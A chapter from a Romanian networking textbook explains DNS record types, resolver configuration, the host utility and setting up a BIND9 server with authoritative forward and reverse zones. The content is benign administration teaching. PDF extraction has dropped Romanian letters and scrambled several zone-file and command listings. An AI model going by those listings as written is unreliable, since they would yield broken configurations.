n seciunile precedente, structura bazei de date DNS a fost prezentat simplificat, pentru a explica mai uor conceptele. S-a vzut c baza de date DNS este de fapt un arbore multici n care nodurile sunt reprezentate de domenii, iar frunzele de staii. n realitate, ns, lucrurile sunt ceva mai complexe. Baza de date DNS este structurat ca un arbore multici; totui ea nu reine domenii, staii i servere, ci nregistrri DNS de forma (cheie, informaie). Cheia este reprezentat de un nume complet i este distribuit n nodurile arborelui. O cheie poate avea asociate mai multe informaii, n general de tipuri diferite, dar nu obligatoriu. Baza de date DNS este astfel structurat nct cu ajutorul cheii s se localizeze informaiile asociate. nregistrrile sunt de mai multe tipuri, grupate dup funcionalitate: nregistrare pentru operaiile de cutare, nregistrare pentru operaiile de cutare invers (reverse lookup),

252 | R e e l e L o c a l e

nregistrare pentru serverele de nume, etc. Fiecare dintre tipurile de nregistrri sunt cunoscute n terminologia DNS dup mnemonici, cele mai folosite fiind nregistrrile: A, CNAME, MX, NS, PTR, SOA.

7.1.4.1 nregistrri DNS


n continuare se prezint descrierea ctorva tipuri de nregistrri din baza de date DNS i rezultatele ntoarse la interogarea bazei de date pentru fiecare dintre acestea. Pentru interogare s-a folosit utilitarul host prezent n sistemele UNIX.

A identific nregistrri de tip adres, fiind folosite pentru rezolvarea direct a numelui. Aceste nregistrri asociaz chei de tip nume de staie de genul www.kde.org cu o adres IPv4.

Pentru a asocia chei de tip nume de domeniu unor adrese IPv6 se folosesc nregistrri de tip AAAA.
user@orange:~$ host -t A cs.pub.ro cs.pub.ro has address 141.85.37.5

PTR identific nregistrri de tip pointer i sunt folosite pentru rezolvarea invers. Acestea

asociaz chei de tip adresa IP de genul 1.37.85.141.in-addr.arpa cu un nume de domeniu complet.


user@orange:~$ host -t PTR 1.37.85.141.in-addr.arpa 1.37.85.141.in-addr.arpa domain name pointer csr.cs.pub.ro.

NS identific nregistrri de tip server de nume (name server) i sunt folosite pentru a indica

numele serverelor de nume autoritate (att cele master ct i cele slave, dac este cazul) asociate domeniului specificat n cheie. nregistrrile de tip NS sunt folosite pentru delegarea de subdomenii ctre alte servere de nume.
user@orange:~$ host -t NS cs.pub.ro cs.pub.ro name server pub.pub.ro. cs.pub.ro name server ns.cs.pub.ro.

MX identific nregistrri de tip server de mail i sunt folosite pentru a indica numele serverelor

de mail responsabile pentru mailurile destinate domeniului specificat n cheie. Adresa serverelor de mail se specific cu ajutorul unor nregistrri de tip adres.
user@orange:~$ host -t MX cs.pub.ro cs.pub.ro mail is handled by 5 mail.cs.pub.ro.

SOA identific nregistrri de tip start of authority ce specific diveri parametri pentru

domeniul indicat n cheie: seria bazei de date, intervalul de timp la care serverul slave verific seria, adresa de mail a administratorului de domeniu, etc.
user@orange:~$ host -t SOA cs.pub.ro cs.pub.ro has SOA record ns.cs.pub.ro. admin.cs.pub.ro. 2007072101 28800 7200 604800 86400

TXT identific o nregistrare de tip descriere. Aceasta asociaz numele de staie indicat de

cheie cu un text de descriere ASCII.


user@orange:~$ host -t TXT cs.pub.ro cs.pub.ro descriptive text "UPB, Computer Science Departament"

CNAME identific o nregistrare de tip alias. Un alias este un nume de domeniu alternativ

pentru numele specificat n cheie. Aliasul va fi asociat cu aceeai adres cu care este asociat i cheia. De exemplu, considernd aliasul mail.cs.pub.ro la numele prof.cs.pub.ro, i presupund c adresa prof.cs.pub.ro este 141.85.37.3, atunci adresa mail.cs.pub.ro va fi 141.85.37.3.
user@orange:~$ host -t CNAME mail.google.com mail.google.com is an alias for googlemail.l.google.com.

253 | D N S

Ca o observaie cheile folosite n DNS (numele domeniilor, staiilor, etc.) sunt limitate la caractere alfanumerice (a-z, A-Z, 0-9) i caracterul '-'. Numele de domeniu complete nu pot depi 255 de caractere, iar numele de domeniu relative nu pot depi 63 de caractere.

7.2 Configurri de baz DNS


7.2.1 Configurarea clientului DNS pe Linux

7.2.1.1 Fiierul /etc/resolv.conf


n UNIX, informaiile legate de serverele de nume folosite n interogrile DNS i alte opiuni DNS sunt pstrate n fiierul /etc/resolv.conf. Pentru a configura serverul DNS responsabil cu rezolvarea cererilor se adaug o directiv de tipul nameserver adresa_ip. Se pot folosi mai multe servere DNS, pentru fiecare trebuind adaugat o directiv separat:
$ cat /etc/resolv.conf nameserver 88.77.66.55 nameserver 99.88.77.66

n cazul n care sunt configurate mai multe servere DNS, se va interoga ntotdeauna primul. Celelalte servere se interogheaz doar dac serverul interogat anterior nu rspunde.

7.2.1.2 Fiierul /etc/nsswitch.conf


Pe sistemele UNIX exist mai multe metode de rezolvare a numelor: DNS, NIS, /etc/hosts, LDAP, etc. Selecia prioritii pentru aceste metode de rezolvare a numelor staiilor (dar nu numai, deoarece la fel pot fi rezolvate i numele utilizatorilor n UID-uri i GIDuri, de exemplu) se realizeaz cu ajutorul fiierului de configuraie /etc/nsswitch.conf . Sintaxa acestui fiier este urmtoarea:
baz_de_date_1: surs_1_1 surs_1_2 ... baz_de_date_2: surs_2_1 surs_2_2 ... ...

Cmpul baz_de_date poate fi hosts pentru rezolvarea numelor staiilor, passwd pentru rezolvarea numelor de utilizatori, group pentru rezolvarea numelor grupurilor de utilizatori, etc. Cmpurile surs_1_1, surs_1_2 specific ordinea metodelor folosite pentru rezolvarea numelor. Cele mai folosite metode sunt:

files pentru a folosi fiierele de configuraie din directorul /etc (e.g. /etc/hosts conine o

list de corespondene statice ntre nume de staii i adrese IP) DNS pentru a folosi serverul de nume specificat n fiierul /etc/resolv.conf NIS pentru a folosi protocolul de administrare centralizat NIS (Network Information Service).

7.2.2 Utilitare de interogare DNS


n continuarea acestui capitol se va prezenta configurarea unui server DNS pe Linux. Datorit complexitii sistemului DNS, inevitabil vor aprea probleme cauzate de o greeal de configurare, de configuraii neinspirate sau chiar de convergena lent a protocolului. De aceea se vor prezenta mai nti moduri de interogare i verificare a serviciului. n lumea UNIX exist trei utilitare mai des folosite: nslookup, host i dig. Cel mai vechi dintre ele, nslookup, are un echivalent cu acelai nume pe platformele Windows. n cele ce urmeaz va fi prezentat doar utilitarului host. Utilitarul nslookup este considerat nvechit, iar dig are o sintax mai complicat i un output mai greu de neles.

254 | R e e l e L o c a l e

7.2.2.1 Utilitarul host


Sintaxa de utilizare a comenzii host este urmtoarea: serverul server dac acesta este prezent n lina de comand, fie serverul implicit configurat n /etc/resolv.conf n caz contrar. Opiuni ale comenzii sunt:

-t Tipul nregistrrii folosit la interogare poate fi configurat cu ajutorul opiunii -t, i poate fi unul dintre acronimele definite de standardul DNS (A, PTR, NS, etc.) sau ANY pentru a ntoarce host [-v] [-t tip] [-r] [-l] nume [server] Comanda va ncerca s rezolve numele nume folosind fie

toate nregistrrile asociate cu cheia de cutare (numele), indiferent de tipul nregistrrii. Dac nu se folosete opiunea -t, atunci host va folosi n mod implicit fie A, fie PTR n funcie de numele de interogat: dac numele seamn cu o adres IP, se va folosi PTR, altfel A; -r n mod implicit interogrile realizate de host sunt interogri recursive. Pentru interogri nerecursive, trebuie folosit opiunea r; -l Uneori poate fi util afiarea tuturor intrrilor dintr-o anumit zon. Cu host acest lucru se poate face utiliznd opiunea l. Practic, la folosirea acestei opiuni, host va ncerca s fac un transfer de zon. n funcie de configurarea serverului, aceast operaie poate fi sau nu permis. Dac transferul de zon a fost efectuat, host va filtra apoi nregistrrile n funcie de tipul de nregistrare specificat n linia de comand. Dac nu se specific niciun tip de nregistrare n linia de comand, host va lista nregistrrile de tip A i PTR; -v Opiunea -v (verbose) va afia odat cu informaiile cerute i alte informaii recepionate n rspunsul primit de la server.

7.2.3 Configurarea serverului DNS BIND9


Una dintre primele implementri ale unui server de DNS a fost fcut de ctre Universitatea Berkeley din California. BIND (Berkeley Internet Name Server Daemon) este de departe cea mai rspndit implementare de server DNS. Pentru descrierea serverului se va folosi versiunea 9. Aceasta este cea mai recent dintre versiunile stabile.

7.2.3.1 Instalarea serverului


Petru a instala BIND pe sistemele Ubuntu/Debian se folosete utilitarul apt.
waters@myr:~$ sudo apt-get install bind9

Odat instalat, serverul DNS i va pune toate fiierele de configurare n /etc/bind.

7.2.3.2 Pornirea, oprirea i restartea serverului


Orice server instalat pe un sistem Ubuntu/Debian i va instala un script de iniializare n /etc/init.d/. n cazul BIND, acest script poart numele de bind9. Acesta poate primi ca parametrii: start, stop, restart.
waters@myr:/home/rl# /etc/init.d/bind9 stop * Stopping domain name service... bind waters@myr:/home/rl# /etc/init.d/bind9 start * Starting domain name service... bind waters@myr:/home/rl# /etc/init.d/bind9 restart * Stopping domain name service... bind * Starting domain name service... bind [ OK ] [ OK ] [ OK ] [ OK ]

7.2.3.3 Fiierul principal de configurare


Fiierul principal de configuraie este /etc/bind/named.conf. Acesta cuprinde dou pri: o prim parte de opiuni i o a doua de definire de zone (domenii). De asemenea,

255 | D N S

naintea prii de opiuni poate fi precizat un fiier al crui coninut va fi inclus n fiierul de configurare prin folosirea unei directive de tipul:
include fisier;

Pentru o organizare mai bun se recomand ca opiunile serverului s fie completate n fiierul /etc/bind/named.conf.options, iar definirea de zone s se fac n fiierul /etc/bind/named.conf.local. Fiierul /etc/bind/named.conf va conine doar opiunile globale i declaraia de zon implicit (localhost) i va include cele dou fiiere anterioare. De fapt, cele 2 fiiere sunt incluse n mod implicit de la instalarea serverului:
include "/etc/bind/named.conf.options"; // zone default sintaxa suport comentarii C,C++,shell include "/etc/bind/named.conf.local";

Att sintaxa DNS ct i opiunile puse la dispoziie sunt destul de greu de neles n afara unui context practic i de aceea, n continuare se vor prezenta configuraii ncepnd de la cele mai simple i des ntlnite (server caching-only, server autoritar pe un singur domeniu) pn la configuraii avansate (split-brain DNS, master/slave, ACL-uri, delegri de subdomenii). Pe exemplele oferite se va releva importana fiecrei opiuni i se va discuta i sintaxa folosit pentru definirea zonelor (domeniilor).

7.2.3.4 Configurarea unui server caching-only


Odat instalat, serverul BIND va porni printr-un script de iniializare. Dei iniial nu a fost configurat niciun domeniu (sau zon, n terminologia BIND), serverul poate ndeplini rolul de caching-only server n mod implicit. Acest lucru este posibil deoarece serverul de nume are n fiierul db.root, adresele mai multor servere rdcin pe care le poate ntreba de practic orice domeniu. Serverele rdcin sunt grupate n domeniul root-servers.net i sunt numite A, B, C, D, etc.
waters@myr:~$ cat /etc/bind/db.root [...] A.ROOT-SERVERS.NET. 3600000 A.ROOT-SERVERS.NET. 3600000 ; ; formerly NS1.ISI.EDU ; . 3600000 B.ROOT-SERVERS.NET. 3600000 ; ; formerly C.PSI.NET ; . 3600000 C.ROOT-SERVERS.NET. 3600000 [...] A AAAA 198.41.0.4 2001:503:BA3E::2:30

NS A

B.ROOT-SERVERS.NET. 192.228.79.201

NS A

C.ROOT-SERVERS.NET. 192.33.4.12

7.2.3.4.1 Configurarea unui server forwarder n acest moment interogarea DNS dureaz destul de mult pentru numele de domeniu ce nu se afl n cache. Pentru a putea obine performane mai bune se pot configura unul sau mai multe servere cu rol de forwarder. n fiierul /etc/bind/named.conf.options de mai jos s-a configurat ca server forwarder, IP-ul serverul de DNS oferit de ISP.
options { directory "/var/cache/bind"; [] forwarders { 141.85.37.11; }; };

256 | R e e l e L o c a l e

Directiva directory stabilete directorul de lucru. Din acest director sunt ncrcate fiierele indicate n seciunea de definire de zone dac nu sunt precizate prin ci absolute. Tot n acest director serverul creeaz fiiere temporare i poate crea fiiere ce conin intrrile din cache. Directiva forwarders permite introducerea unor adrese IP care vor fi folosite ca servere forwarder ce vor fi ntrebate mereu primele pentru o traducere ce nu s-a putut efectua local. Atentie! Sintaxa acestei directive, ca i a multor altora din configuraia BIND, este destul de rigid.

7.2.3.4.2 Configurarea de ACL-uri. Directiva allow-query.


Singura problem este ca serverul pn acum configurat rspunde la cereri recursive efectuate de orice host din Internet care poate accesa serverul. Nefiind autoritar peste niciun domeniu, acest server nu are niciun motiv pentru a fi interogat din afara reelei locale. ntrun scenariu real, configuraia unui server caching-only va arta astfel:
acl LAN { 192.168.0.0/24; }; options { directory "/var/cache/bind"; allow-query { LAN; }; [] forwarders { 141.85.37.11; }; };

La fiierul /etc/bind/named.conf.options, de mai sus, s-au adugat 2 componente:


s-a definit un acl (access control list) DNS foarte simplu cu numele de LAN. Directiva acl realizeaz o asociere ntre numele LAN i reeaua 192.168.0.0/24. s-a folosit directiva allow-query prin care s-au precizat clienii ce pot trimite cereri serverului de nume. Argumentul din acolade, oferit directivei, ar fi putut fi direct adresa de reea, ns se prefer folosirea unui acl pentru scalabilitate: un acl poate avea o structur destul de complex, permind unele subreele i negnd accesul altora. permite cereri doar din partea IP-urilor din reeaua 192.168.0.0/24; folosete ca forwarder serverul DNS cu adresa 141.85.37.11; stocheaz fiierele pentru cache n /var/cache/bind.

Concluzionnd, configuraia de mai sus:


7.2.3.5 Configurarea unui server autoritar peste un domeniu


n general un server de nume autoritar tie s fac att operaia de rezolvare direct ct i operaia de rezolvare invers pentru un domeniu pe care l deine. Pentru fiecare tip de rezolvare este nevoie de definirea unei zone. n terminologia DNS, o zon reprezint un mod de a grupa informaia de care este nevoie pentru a face una dintre rezolvri: direct sau invers. Deci daca se dorete realizarea rezolvrii directe i inverse, trebuie definite 2 zone, pentru fiecare domeniu. Dup cum s-a specificat, pentru rezolvarea invers va trebui creat un subdomeniu de tipul: IP.in-addr.arpa. Pentru exemplificare se va presupune crearea zonei politehnica.ro, alturi de zona inaddr.arpa corespunztoare. Specificaiile pe care domeniul va trebui s le respecte, sunt dup cum urmeaz:
serverul de nume pentru domeniul politehnica.ro este ns.politehnica.ro i are adresa IP 142.100.111.53 serverul de nume ns.politehnica.ro va rspunde la cereri pentru nregistrrile:

257 | D N S
o o o www.politehnica.ro 142.100.111.80 ftp.politehnica.ro 142.100.111.21 mail.politehnica.ro 142.100.111.25

serverul va oferi posibilitatea de rezolvare invers din adrese IP n nume Definirea zonei n fiierul /etc/bind/named.conf.local sau n fiierul principal de configurare. Introducerea parametrilor zonei i rezolvrile pentru diferite adrese, ntr-un fiier de zon (fiier de configurare pentru respectiva zon).

Operaia de a crea o zon pentru care serverul de nume s fie autoritar, const din 2 pai:

7.2.3.5.1 Definirea zonei


Fiierul /etc/bind/named.conf.local va trebui sa conin urmtoarele informaii despre zona:
Numele zonei Calea n sistemul de fiiere ctre fiierul de configurare al zonei Tipul zonei (master/slave)

O definire corect pentru cele 2 zone ale domeniului politehnica.ro, arat astfel:
waters@myr:~$ cat /etc/bind/named.conf.local zone "politehnica.ro" { type master; file "/etc/bind/db.politehnica.ro"; }; zone "111.100.142.in-addr.arpa" { type master; file "/etc/bind/db.111.100.142.in-addr.arpa"; };

Se va analiza n continuare sintaxa i funcionalitatea fiierului de mai sus. Pentru a putea specifica o zona se folosete directiva zone urmat de numele efectiv al zonei, plasat ntre ghilimele, tipul i calea ctre fiierul de configurare al zonei dat n format absolut. Dac n locul cii absolute s-ar fi specificat numele n mod relativ: db.politehnica.ro i respectiv db.111.100.142.in-addr.arpa, serverul DNS ar fi concatenat numele n mod implicit la calea referit de directiva directory. Cum aceasta este setat implicit la adresa /var/cache/bind/, adresa final ar fi fost /var/cache/bind/ db.politehnica.ro. Not: nu este obligatoriu ca numele fiierelor de zon s respecte convenia de nume db.nume_domeniu, ns modul acesta de denumire a fost adoptat de majoritatea administratorilor pentru a oferi un mod clar de a recunoate fiierul de zon al fiecarui domeniu.

Atenie! Sintaxa de definire a zonei este destul de strict i trebuie realizat urmrind exemplul de mai sus.

7.2.3.5.2 Fiiere de zon


Dup cum se observ din sintaxa fiierului principal de configuraie, fiecare domeniu sau zon are asociat un fiier de configuraie. Acesta conine practic baza de date DNS pentru domeniu. Fiierul conine mai multe nregistrri DNS, fiecare nregistrare fiind descris pe un singur rnd. Excepie fac nregistrrile de tip SOA care se ncheie odat cu caracterul ).

258 | R e e l e L o c a l e

nregistrrile sunt structurate la rndul lor n cmpuri separate de spaii sau tab-uri. Formal, structura fiierelor de zon este urmtoarea:
$INCLUDE fiier nume_domeniu $ORIGIN nume_domeniu $TTL ttl Nume_domeniu ttl clasa tip informaii // // parametrii de zon // // nregistrare DNS

Dac numele unui domeniu nu se termin cu . atunci este considerat nume incomplet. Pentru a afla numele complet folosit n nregistrri se concateneaz cu domeniu nume_domeniu definit de operatorul $ORIGIN. O greeal frecvent atunci cnd se editeaz fiierele de configuraie pentru zone este scrierea incorect a numelor complete, prin uitarea aplicrii punctului la sfritul numelui. Operatorul $INCLUDE specific fiierul ce va fi inclus nainte de parsare. Dac este prezent i parametrul nume_domeniu, acesta va preciza numele concatenat la numele incomplete, dar doar pentru nregistrrile din fiierul inclus. Operatorul $ORIGIN precizeaz numele ce se va concatena la numele incomplete din seciunea ce urmeaz. Operatorul $TTL indic timpul maxim pentru care un rspuns pozitiv pentru intrri din seciunea curent poate sta n cache-ul altor servere.

7.2.3.5.3 Configurarea fiierului de zon pentru rezolvare direct


Pentru o mai bun nelegere a parametrilor de mai sus i a sintaxei nregistrrilor DNS, se va analiza modul n care ar trebui completat fiierul de zon db.politehnica.ro.
$ORIGIN ro. $TTL 36000 politehnica IN SOA ns.politehnica.ro. admin.politehnica.ro. ( 2007092001 ; Serial 8H ; Refresh 2H ; Retry 1W ; Expire 1D ; Negative TTL ) TXT "Universitatea Plitehnica Bucuresti" NS ns.politehnica MX 10 mail.politehnica A 142.100.111.53 IN IN IN IN A A A A 142.100.111.53 142.100.111.25 142.100.111.80 142.100.111.21

politehnica politehnica politehnica politehnica

ns.politehnica mail.politehnica www.politehnica.ro. ftp.politehnica.ro.

Parametrul $ORIGIN va avea ca efect concatenarea domeniului ro. Tuturor domeniilor din fiier ce nu se termin cu caracterul . (punct). Spre exemplu numele ns.politehnica se va transforma dup parsare n ns.politehnica.ro. Din punct de vedere funcional, fiierul de configurare de mai sus s-ar traduce astfel:
Domeniul peste care serverul este autoritar este politehnica.ro (n fiier este completat doar cuvntul politehnica, ns acestuia i este concatenat parametrul $ORIGIN ) Clasa tuturor nregistrrilor este IN. Aceasta este clasa folosit peste tot n Internet. Introducerea ei este opional. Domeniul politehnica.ro are 5 nregistrri
o o o o SOA acest tip de nregistrare are o sintaxa diferit de cea standard i va di discutat mai jos. TXT nregistrarea TXT ofer un comentariu legat de societatea ce deine domeniul NS aceast nregistrare precizeaz serverul de nume care va rspunde la cererile pentru acest domeniu: ns.politehnica.ro (.ro este concatenat de la parametrul $ORIGIN) MX - nregistrarea de tip MX are un format special: o prioritate i apoi adresa serverului. Prioritatea definete ordinea n care un client va ncerca s contacteze serverele de mail ale domeniului; se va ncerca mai nti conectarea la serverele cu prioritate mai mic.

259 | D N S
o A face posibil traducerea acestui domeniu oferind adresa IP pentru politehnica.ro

Pentru domeniul politehnica.ro s-a completat numele unui server de e-mail (intrarea MX) i serverul de nume (intrarea NS). Fiecare dintre acestea, pentru a putea fi rezolvate, are nevoie de asocierea cu o adresa IP. Acest lucru este realizat de urmtoarele dou nregistrri DNS de tip A. De asemenea mai exist nca 2 nregistrri A pentru traducerea domeniilor www.politehnica.ro i ftp.politehnica.ro. A se observa faptul c cele dou nume de domenii au fost date cu nume complet i ncheiate cu caracterul . (punct). Notaia aceasta este perfect echivalenta cu a scrie: www.politehnica i ftp.politehnica, avnd parametrul $ORIGIN ro. Trebuie avut atenie totui la folosirea ambelor notaii, cci se poate ntampla ca n loc de www.politehnica.ro. , s se completeze doar www.politehnica.ro i s se uite caracterul ., de la sfrit. Dac se configureaz astfel, domeniul final va fi www.politehnica.ro.ro, i deci, eronat. Ca o ultim observaie, comentariile din fiier care au fost fcute cu ajutorul caracterului ;

Inregistrarea de de tip SOA are o sintax mai special i trebuie s fie prima nregistrare n fiierul de zon.
domeniu IN SOA server_autoritar adres_mail_admin ( serial refresh retry expire ttl )

domeniu = politehnica.ro.: Specific numele complet al domeniului gestionat. server_autoritar = ns.politehnica.ro.: Precizeaz un server de nume ce va fi trimis drept rspuns atunci cnd nu se poate rspunde la cerere, dar numele interogat este inclus n domeniul pentru care serverul este autoritar. Aceasta se ntmpl cnd un server slave d un rspuns negativ. n general, acest cmp trebuie setat la numele serverului master pentru domeniul respectiv. adres_mail_admin = admin.politehnica.ro.: Precizeaz adresa de e-mail a administratorului domeniului, n care caracterul @ este nlocuit cu . (ex: n loc de admin@politehnica.ro, apare admin.politehnica.ro.) serial = 2007092001: Indic versiunea bazei de date DNS pentru domeniu. Aceast serie este verificat de serverele slave pentru a determina dac este necesar o descrcare a bazei de date de la master. De obicei se folosete o convenie a formatului seriei: AAAALLZZMM, unde AAAA reprezint anul, LL luna, DD ziua, iar MM numrul modificrii din ziua respectiv. Aceast convenie nu este obligatorie, dar este indicat.

Seria bazei de date trebuie incrementat la fiecare modificare fcut n domeniu, altfel modificrile nu se vor propaga la serverele slave.
refresh = 8H: Conine intervalul de timp la care serverul slave va interoga seria bazei de date a serverului master. Implicit acest timp este exprimat n secunde, dar valoarea cmpului refresh poate exprima minutele - dac se folosete sufixul M, orele - dac se folosete sufixul H, sau zilele - dac se folosete sufixul D. retry = 2H: Indic intervalul de timp la care serverul slave va ncerca s se reconecteze la serverul master, dac o ncercare de conectare la server a euat. expire = 1W: Indic perioada de timp dup care baza de date a serverului slave este invalidat, dac nu se reuete o conectare la serverul master. ttl = 1D: Reprezint timpul de via pentru rspunsuri negative. Acest timp este diferit de timpul de viaa al rspunsurilor pozitive.

260 | R e e l e L o c a l e

7.2.3.5.4 Configurarea fiierului de zon pentru rezolvarea invers


n acest moment serverul DNS a fost configurat pentru rezolvare direct. n continuare se va exemplifica i fiierul de zon pentru rezolvarea invers: db.111.100.142.in-addr.arpa
$ORIGIN 100.142.in-addr.arpa. 111 IN SOA ns.politehnica.ro. nsmaster.politehnica.ro. ( 2007092001 ; Serial 8H ; Refresh 2H ; Retry 1W ; Expire 1D ; Negative TTL ) TXT Universitatea Plitehnica Bucuresti NS ns.politehnica.ro. $ORIGIN 111.100.142.in-addr.arpa. 21 25 80 PTR PTR PTR ftp.politehnica.ro. mail.politehnica.ro. www.politehnica.ro.

Exceptnd nregistrarea SOA, pentru domeniul 111.100.142.in-addr.arpa se adaug o nregistrare text de descriere a domeniului, una pentru serverul de nume i alte 3 nregistrri de tip pointer pentru rezolvarea 21.111.100.142.in-addr.arpa n ftp.politehnica.ro, 25.111.100.142.in-addr.arpa n mail.politehnica.ro i 80.111.100.142.inaddr.arpa n www.politehnica.ro. n schema de mai jos sunt prezentate fiierele create/editate/descrise n seciunea de mai sus i modul n care fiecare contribuie la traducerea direct i invers a domeniului
politehnica.ro

politehnica.ro

rezolvare direct

rezolvare invers

db.politehnica.ro

Named.conf.local

db.111.100.142.inaddr.arpa

7-3: Fiiere de configurare

7.2.3.6 Verificarea serverului DNS


Se recomand urmrirea exemplului de mai sus i implementarea acestuia pe o staie local, fiind o configuraie simpl de server DNS, care va constitui baza pentru configuraii mai avansate.

7.2.3.7 Verificarea sintaxei


Din pcate, n realizarea primelor configurri de DNS se poate grei foarte uor la sintaxa destul de strict a fiierelor de configurare. De aceea serverul BIND pune la dispoziie dou utilitare cu care se poate verifica fiierul principal de configurare (alturi de toate fiierele incluse n acesta) i fiierele de zon. Acestea se numesc: named-checkconf i namedcheckzone.

261 | D N S
waters@myr:/etc/bind# named-checkconf waters@myr:/etc/bind# named-checkzone politehnica.ro. /etc/bind/db.politehnica.ro zone politehnica.ro/IN: loaded serial 2007092001 OK waters@myr:/etc/bind# named-checkzone /etc/bind/db.111.100.142.in-addr.arpa zone 111.100.142.in-addr.arpa/IN: loaded serial 2007092001 OK 111.100.142.in-addr.arpa

7.2.3.8 Testarea funcionrii


Pentru a putea testa buna funcionare a domeniului politehnica.ro, va trebui s se restarteze serviciul bind9 i s se interogheze serverul cu utilitarul host.
root@myr:/etc/bind# /etc/init.d/bind9 restart * Stopping domain name service... bind * Starting domain name service... bind [ OK ] [ OK ]

user@orange:/etc/bind# host www.politehnica.ro 142.100.111.53 Using domain server: Name: 142.100.111.53 Address: 142.100.111.53#53 Aliases: www.politehnica.ro has address 142.100.111.80 user@orange:/etc/bind# host -t PTR 80.111.100.142.in-addr.arpa 80.111.100.142.in-addr.arpa domain name pointer www.politehnica.ro.

La apelarea utilitarului host s-a folosit i argumentul 142.100.111.53 prin care s-a specificat adresa serverului DNS pe care host va trebui s l interogheze; bineneles acea adresa IP este adresa IP a serverului pe care s-au fcut configurrile de mai sus. Se observ c cele 2 interogri efectuate cu utilitarul host sunt rezolvate cu succes de ctre serverul DNS. Este vorba de rezolvarea direct a adresei www.politehnica.ro n 142.100.111.80 i de rezolvarea invers a 142.100.111.80 n www.politehnica.ro.

7.2.3.9 BIND9 debugging


Dei BIND9 include cele dou utilitare, named-checkconf pentru verificarea fiierului principal de configurare i named-checkzone pentru verificarea zonelor, acestea nu ofer ntotdeauna cele mai intuitive mesaje de eroare. Din acest motiv, n continuare se vor prezenta scenarii de debugging mai ncpnate i sursa greelilor din acestea.
10. Eroarea numelor

Cea mai ntlnit greeal este fr ndoiala uitarea punctului. Cea mai bun indicatie asupra acestui fapt este eroarea: ignoring out-of-zone data. Aceasta poate nsemn totui i faptul c numele de domeniu este scris greit n SOA sau c zona are numele scris greit n definirea acesteia din fisierul named.conf.local.
11. Eroarea copy-paste

Avnd n vedere sintaxa complicat BIND, se recomand pstrarea unor template-uri care s fie folosite la configuraii noi. ns trebuie foarte mult atenie la copierea dintr-un fiier n altul deoarece simpla copiere a unui spaiu n plus, luat odat cu numele de domeniu, poate s mute caracterul . mai la dreapta i s rezulte n aceast eroare: not a valid number.
12. Eroarea neraportat

Una din cele mai greu de depistat erori const n a scrie greit numele de cale al fiierului de zon n fiierului named.conf.local. Dei serverul DNS nu va funciona pentru respectiva zon, acesta va porni fr s ofere o eroare. De asemenea niciunul din utilitarele named-check nu raporteaz ceva n neregul.

262 | R e e l e L o c a l e

Pentru alte greeli comune i puncte cheie care presupun o atenie sporit, se poate consulta RFC19121 care trateaz tocmai aceste subiecte.

7.2.3.10

Eficientizarea sintaxei fiierelor de zon

Dei fiierul de zon configurat mai sus este corect specificat, exist unele mici artificii de sintax care sunt ntlnite destul de des n implementarea unui server DNS i care trebuie tiute de orice administrator de BIND.
1. Omiterea numelui de domeniu ce se repet consecutiv.

Pentru nceput se poate observa c n fiierul db.politehnica.ro, dat ca exemplu mai sus, domeniul politehnica.ro a avut 5 nregistrri diferite: SOA, TXT, MX, NS, A. Sintaxa DNS general pentru o nregistrare este:
nume_domeniu ttl clasa tip informatii // nregistrare DNS

Cuvntul politehnica a aprut deci de 5 ori ca nume de domeniu. Acest lucru nu este neaprat necesar. Atunci cnd numele de domeniu este la fel pentru nregistrrile ce urmeaz, acesta poate fi omis:
[...] politehnica IN SOA ns.politehnica.ro. admin.politehnica.ro. ( 2007092001 ; Serial 8H ; Refresh 2H ; Retry 1W ; Expire 1D ; Negative TTL ) TXT "Universitatea Plitehnica Bucuresti" NS ns.politehnica MX 10 mail.politehnica A 142.100.111.53 IN A 142.100.111.53

ns.politehnica [...]

2. Simbolul @

Exist multe exemple de configuraii BIND pe Internet. Multe din acestea conin n fiierul de zona simbolul @. Simbolul acesta este echivalent cu argumentul directivei $ORIGIN. n exemplul de mai jos, a scrie politehnica.ro. sau a scrie @ ar avea acelai efect. Deci un alt mod de a scrie fiierul db.politehnica.ro este urmtorul:
$ORIGIN politehnica.ro. $TTL 36000 @ IN SOA ns.politehnica.ro. admin.politehnica.ro. ( 2007092001 ; Serial 8H ; Refresh 2H ; Retry 1W ; Expire 1D ; Negative TTL ) TXT "Universitatea Plitehnica Bucuresti" NS ns MX 10 mail A 142.100.111.53 ns mail www ftp IN IN IN IN A A A A 142.100.111.53 142.100.111.25 142.100.111.80 142.100.111.21

Se observ c argumentul $ORIGIN a fost schimbat din ro. n politehnica.ro., iar n locul numelui de domeniu din faa nregistrrii SOA, s-a introdus simbolul @. Acesta este perfect echivalent cu a scrie politehnica.ro.

http://www.ietf.org/rfc/rfc1912.txt

263 | D N S

n continuare, la nregistrrile TXT, NS, MX i A, nu s-a mai introdus simbolul @, conform regulii de la punctul 1. De asemenea cu ct directiva $ORIGIN este mai cuprinztoare cu att fiierul mai aerisit i citirea sa mai uoar.
3. Redefinirea parametrului $ORIGIN

Sintaxa DNS permite redefinirea parametrului $ORIGIN pentru o mai mare flexibilitate a fiierelor de zon.
$ORIGIN ro. $TTL 36000 politehnica IN SOA ns.politehnica.ro. admin.politehnica.ro. ( 2007092001 ; Serial 8H ; Refresh 2H ; Retry 1W ; Expire 1D ; Negative TTL ) TXT "Universitatea Plitehnica Bucuresti" NS ns.politehnica MX 10 mail.politehnica A 142.100.111.53 $ORIGIN politehnica.ro. ns mail www ftp IN IN IN IN A A A A 142.100.111.53 142.100.111.25 142.100.111.80 142.100.111.21

n fiierul de mai sus, pentru primele 5 nregistrri, numele care nu se termin cu caracterul ., vor fi completate cu ro.. Pentru urmtoarele 3 nregistrri parametrul $ORIGIN a fost schimbat, deci numele se vor completa cu politehnica.ro.

7.2.3.11

Configurarea unui alias DNS

Pentru a configura un alias DNS se folosete nregistrarea CNAME. Un nume canonic nu poate fi configurat dect pentru un subdomeniu al domeniului peste care serverul este autoritar. n caz contrat oricine ar putea realiza un alias pentru google.com care s se traduc ntr-un IP dorit. Configurarea oferit ca exemplu ca crea f1.politehnica.ro ca alias pentru www.politehnica.ro.
$ORIGIN politehnica.ro. [...] www f1 [...] IN IN A CNAME 142.100.111.80 www

Dup cum se poate vedea i din interogare, f1.politehnica.ro va fi tradus n acelai IP ca i www.politehnica.ro.
root@myr:/etc/bind# host www.politehnica.ro 142.100.111.53 Using domain server: Name: 142.100.111.53 Address: 142.100.111.53#53 Aliases: www.politehnica.ro has address 142.100.111.80 user@orange:/etc/bind# host f1.politehnica.ro 142.100.111.53 Using domain server: Name: 142.100.111.53 Address: 142.100.111.53#53 Aliases: www.politehnica.ro has address 142.100.111.80

